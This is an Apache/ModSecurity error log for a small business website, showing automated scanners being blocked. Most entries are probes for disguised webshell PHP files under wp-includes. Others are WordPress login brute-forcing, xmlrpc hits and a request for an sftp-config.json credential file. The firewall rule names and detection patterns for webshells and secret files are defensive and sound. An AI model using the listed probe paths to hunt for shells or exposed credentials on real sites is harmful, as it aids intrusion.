[Sun Mar 15 04:37:12.142660 2026] [:error] [pid 38541:tid 38617] [client 98.159.43.116:31199] [client 98.159.43.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "abXG-HuOpex8jIO0jt7CDAAAAIQ"]
[Sun Mar 15 04:37:12.862789 2026] [:error] [pid 9995:tid 10010] [client 98.159.43.139:24607] [client 98.159.43.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID/module.audio-video.riff-set.php"] [unique_id "abXG-Aa8xkcaSmgTbwi8-wAAAQw"]
[Sun Mar 15 04:37:13.255838 2026] [:error] [pid 38540:tid 38602] [client 98.159.43.140:41085] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "abXG-V8bnHsJ1dE90bLaHAAAAFA"]
[Sun Mar 15 04:37:13.576053 2026] [:error] [pid 9995:tid 10019] [client 98.159.43.112:28151] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "abXG-Qa8xkcaSmgTbwi8_gAAARU"]
[Sun Mar 15 04:37:14.560227 2026] [:error] [pid 9995:tid 10019] [client 98.159.43.131:35249] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "abXG-ga8xkcaSmgTbwi9DQAAARU"]
[Sun Mar 15 04:37:15.382048 2026] [:error] [pid 38536:tid 38576] [client 98.159.43.112:33667] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID/module.audio-license.php"] [unique_id "abXG-_pTEqkVJ0rBEWtrPQAAABc"]
[Sun Mar 15 04:37:16.009303 2026] [:error] [pid 38541:tid 38627] [client 98.159.43.146:53023] [client 98.159.43.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "abXG_HuOpex8jIO0jt7CKgAAAI4"]
[Sun Mar 15 04:37:16.236632 2026] [:error] [pid 9995:tid 9998] [client 98.159.43.153:49261] [client 98.159.43.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "abXG_Aa8xkcaSmgTbwi9GAAAAQA"]
[Sun Mar 15 04:37:17.728460 2026] [:error] [pid 9995:tid 10008] [client 98.159.43.146:63971] [client 98.159.43.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/load.php"] [unique_id "abXG_Qa8xkcaSmgTbwi9KAAAAQo"]
[Sun Mar 15 04:37:17.958508 2026] [:error] [pid 38645:tid 38668] [client 98.159.43.151:65235] [client 98.159.43.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "abXG_RFPHtsDUuVrWDZN9wAAANU"]
[Sun Mar 15 04:37:18.236999 2026] [:error] [pid 38536:tid 38560] [client 98.159.43.156:64027] [client 98.159.43.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/admin.php"] [unique_id "abXG_vpTEqkVJ0rBEWtrQgAAAAc"]
[Sun Mar 15 04:37:18.596464 2026] [:error] [pid 38541:tid 38619] [client 98.159.43.129:60679] [client 98.159.43.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-json-ajax-session.php"] [unique_id "abXG_nuOpex8jIO0jt7COAAAAIY"]
[Sun Mar 15 04:37:18.775604 2026] [:error] [pid 38540:tid 38603] [client 98.159.43.120:27537] [client 98.159.43.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "abXG_l8bnHsJ1dE90bLaMgAAAFE"]
[Sun Mar 15 04:37:19.463681 2026] [:error] [pid 9995:tid 10001] [client 98.159.43.140:29431] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/input.php"] [unique_id "abXG_wa8xkcaSmgTbwi9OQAAAQM"]
[Sun Mar 15 04:37:19.754496 2026] [:error] [pid 9995:tid 10018] [client 98.159.43.136:22377] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/about.php"] [unique_id "abXG_wa8xkcaSmgTbwi9RQAAARQ"]
[Sun Mar 15 04:37:20.092924 2026] [:error] [pid 9995:tid 10008] [client 98.159.43.136:53849] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/about.php"] [unique_id "abXHAAa8xkcaSmgTbwi9SgAAAQo"]
[Sun Mar 15 04:37:20.285445 2026] [:error] [pid 9995:tid 10009] [client 98.159.43.119:50211] [client 98.159.43.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/about.php"] [unique_id "abXHAAa8xkcaSmgTbwi9UQAAAQs"]
[Sun Mar 15 04:37:20.620182 2026] [:error] [pid 38540:tid 38599] [client 98.159.43.160:54135] [client 98.159.43.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "abXHAF8bnHsJ1dE90bLaPQAAAE0"]
[Sun Mar 15 04:37:21.108682 2026] [:error] [pid 38645:tid 38665] [client 98.159.43.160:32487] [client 98.159.43.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/wp-load.php"] [unique_id "abXHARFPHtsDUuVrWDZN_wAAANI"]
[Sun Mar 15 04:37:21.298449 2026] [:error] [pid 38645:tid 38648] [client 98.159.43.144:65243] [client 98.159.43.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "abXHARFPHtsDUuVrWDZOAAAAAME"]
[Sun Mar 15 04:37:21.727287 2026] [:error] [pid 9995:tid 10009] [client 98.159.43.112:31111] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/wp-load.php"] [unique_id "abXHAQa8xkcaSmgTbwi9awAAAQs"]
[Sun Mar 15 04:37:22.025677 2026] [:error] [pid 38645:tid 38668] [client 98.159.43.136:56877] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-modules-packages-react.php"] [unique_id "abXHAhFPHtsDUuVrWDZOBAAAANU"]
[Sun Mar 15 04:37:22.642172 2026] [:error] [pid 9995:tid 10014] [client 98.159.43.157:28411] [client 98.159.43.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/font-editor.php"] [unique_id "abXHAga8xkcaSmgTbwi9gAAAARA"]
[Sun Mar 15 04:37:22.842501 2026] [:error] [pid 9995:tid 10017] [client 98.159.43.113:44773] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "windfarmcoolants.com.au"] [uri "/images/stories/themes.php"] [unique_id "abXHAga8xkcaSmgTbwi9hQAAARM"]
[Sun Mar 15 04:37:23.099602 2026] [:error] [pid 9995:tid 10015] [client 98.159.43.113:44773] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "abXHAwa8xkcaSmgTbwi9iwAAARE"]
[Sun Mar 15 04:37:25.827619 2026] [autoindex:error] [pid 38645:tid 38660] [client 98.159.43.157:20491] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 15 06:36:08.796700 2026] [:error] [pid 9995:tid 10022] [client 45.131.195.172:58409] [client 45.131.195.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.172, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "abXi2Aa8xkcaSmgTbwgIagAAARg"]
[Sun Mar 15 06:36:08.800210 2026] [:error] [pid 9995:tid 10022] [client 45.131.195.172:58409] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sun Mar 15 09:23:50.617545 2026] [:error] [pid 38645:tid 38651] [client 20.205.99.175:5005] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Sun Mar 15 09:23:50.742697 2026] [:error] [pid 38645:tid 38663] [client 20.205.99.175:5005] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Sun Mar 15 09:23:50.989179 2026] [:error] [pid 38645:tid 38664] [client 20.205.99.175:5005] File does not exist: /usr/local/apache/htdocs/suspended-page/rip.php
[Sun Mar 15 09:23:51.116472 2026] [:error] [pid 38645:tid 38657] [client 20.205.99.175:5005] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sun Mar 15 09:23:51.378458 2026] [:error] [pid 38645:tid 38667] [client 20.205.99.175:5005] File does not exist: /usr/local/apache/htdocs/suspended-page/cache.php
[Sun Mar 15 09:23:51.502046 2026] [:error] [pid 38645:tid 38652] [client 20.205.99.175:5005] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Sun Mar 15 09:23:51.625969 2026] [:error] [pid 38645:tid 38656] [client 20.205.99.175:5005] File does not exist: /usr/local/apache/htdocs/suspended-page/an.php
[Sun Mar 15 09:23:51.872650 2026] [:error] [pid 38645:tid 38659] [client 20.205.99.175:5005] [client 20.205.99.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abYKJxFPHtsDUuVrWDaWDAAAAMw"]
[Sun Mar 15 09:23:52.372334 2026] [:error] [pid 50986:tid 50994] [client 20.205.99.175:5009] [client 20.205.99.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abYKKCknK4c779bcQqG_LgAAAUY"]
[Sun Mar 15 09:23:52.879035 2026] [:error] [pid 38645:tid 38649] [client 20.205.99.175:5015] [client 20.205.99.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abYKKBFPHtsDUuVrWDaWEAAAAMI"]
[Sun Mar 15 09:23:53.379139 2026] [:error] [pid 50986:tid 50993] [client 20.205.99.175:4993] [client 20.205.99.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abYKKSknK4c779bcQqG_MQAAAUU"]
[Sun Mar 15 10:32:13.877359 2026] [:error] [pid 38541:tid 38614] [client 104.214.186.167:49337] [client 104.214.186.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/"] [unique_id "abYaLXuOpex8jIO0jt4qBgAAAIE"], referer: binance.com
[Mon Mar 16 07:02:29.802355 2026] [:error] [pid 12768:tid 12784] [client 203.188.168.22:51215] [client 203.188.168.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.188.168.22, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "abc6hYvjhfol0SJym0_AHQAAAYs"]
[Mon Mar 16 07:02:29.802436 2026] [:error] [pid 12768:tid 12784] [client 203.188.168.22:51215] [client 203.188.168.22] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 203.188.168.22 on wp-login.php, counter = 15"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "abc6hYvjhfol0SJym0_AHQAAAYs"]
[Mon Mar 16 08:31:39.545638 2026] [:error] [pid 62429:tid 62501] [client 103.65.237.124:50877] [client 103.65.237.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/sftp-config.json"] [unique_id "abdPa1ewIPukhLCowEH8LAAAAIU"]
[Mon Mar 16 11:05:14.668462 2026] [:error] [pid 9249:tid 9264] [client 173.239.236.76:51827] [client 173.239.236.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.76, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "abdzagsX15dONR9F2wy3rAAAAUo"]
[Mon Mar 16 11:05:14.672168 2026] [:error] [pid 9249:tid 9264] [client 173.239.236.76:51827] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Mon Mar 16 11:05:14.986558 2026] [:error] [pid 9249:tid 9255] [client 173.239.236.76:51827] [client 173.239.236.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "abdzagsX15dONR9F2wy3twAAAUE"]
[Mon Mar 16 11:05:15.211617 2026] [:error] [pid 62024:tid 62029] [client 173.239.236.18:59701] [client 173.239.236.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "abdza4k-5rtjYvjqC_o5-wAAAAA"]
[Mon Mar 16 11:05:15.452713 2026] [:error] [pid 9354:tid 9387] [client 173.239.236.76:28207] [client 173.239.236.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "abdza3BF0M4d8CifbJ43HwAAAdg"]
[Mon Mar 16 11:05:15.681753 2026] [:error] [pid 62119:tid 62127] [client 173.239.236.178:28909] [client 173.239.236.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2020/wp-includes/wlwmanifest.xml"] [unique_id "abdzaz-Co-Fir-PyAwfSdAAAAMU"]
[Mon Mar 16 11:05:15.902012 2026] [:error] [pid 62025:tid 62068] [client 173.239.236.76:22201] [client 173.239.236.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "abdza-imBfLmKh7zLXMCZgAAAEk"]
[Mon Mar 16 11:05:16.123849 2026] [:error] [pid 9400:tid 9421] [client 173.239.236.21:29831] [client 173.239.236.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2021/wp-includes/wlwmanifest.xml"] [unique_id "abdzbASHzD8ZM8ddLEnJrAAAAgU"]
[Mon Mar 16 11:05:16.344367 2026] [:error] [pid 62025:tid 62068] [client 173.239.236.3:29837] [client 173.239.236.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "abdzbOimBfLmKh7zLXMCagAAAEk"]
[Mon Mar 16 11:05:16.571757 2026] [:error] [pid 62025:tid 62068] [client 173.239.236.160:24481] [client 173.239.236.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "abdzbOimBfLmKh7zLXMCbwAAAEk"]
[Mon Mar 16 11:05:16.794529 2026] [:error] [pid 9400:tid 9424] [client 173.239.236.211:48911] [client 173.239.236.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "abdzbASHzD8ZM8ddLEnJuQAAAgg"]
[Mon Mar 16 11:05:17.018378 2026] [:error] [pid 9400:tid 9427] [client 173.239.236.79:26277] [client 173.239.236.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "abdzbQSHzD8ZM8ddLEnJvwAAAgs"]
[Mon Mar 16 11:05:17.245251 2026] [:error] [pid 62119:tid 62142] [client 173.239.236.66:21097] [client 173.239.236.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "abdzbT-Co-Fir-PyAwfSggAAANQ"]
[Mon Mar 16 13:00:39.901490 2026] [:error] [pid 62510:tid 62524] [client 194.59.30.205:60594] [client 194.59.30.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.59.30.205, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "abeOdyE33_T9aKpoDdgWNQAAAQs"]
[Mon Mar 16 13:00:39.905504 2026] [:error] [pid 62510:tid 62524] [client 194.59.30.205:60594] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Mon Mar 16 13:08:46.235741 2026] [:error] [pid 62024:tid 62050] [client 85.137.48.167:59182] File does not exist: /usr/local/apache/htdocs/suspended-page/txets.php
[Mon Mar 16 17:14:50.066819 2026] [:error] [pid 36198:tid 36202] [client 176.65.148.145:53687] File does not exist: /usr/local/apache/htdocs/suspended-page/accesson.php
[Mon Mar 16 19:54:35.109747 2026] [:error] [pid 36198:tid 36201] [client 64.89.163.113:53345] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "abfve-lL1GNckmsdWlMz6wAAAQA"]
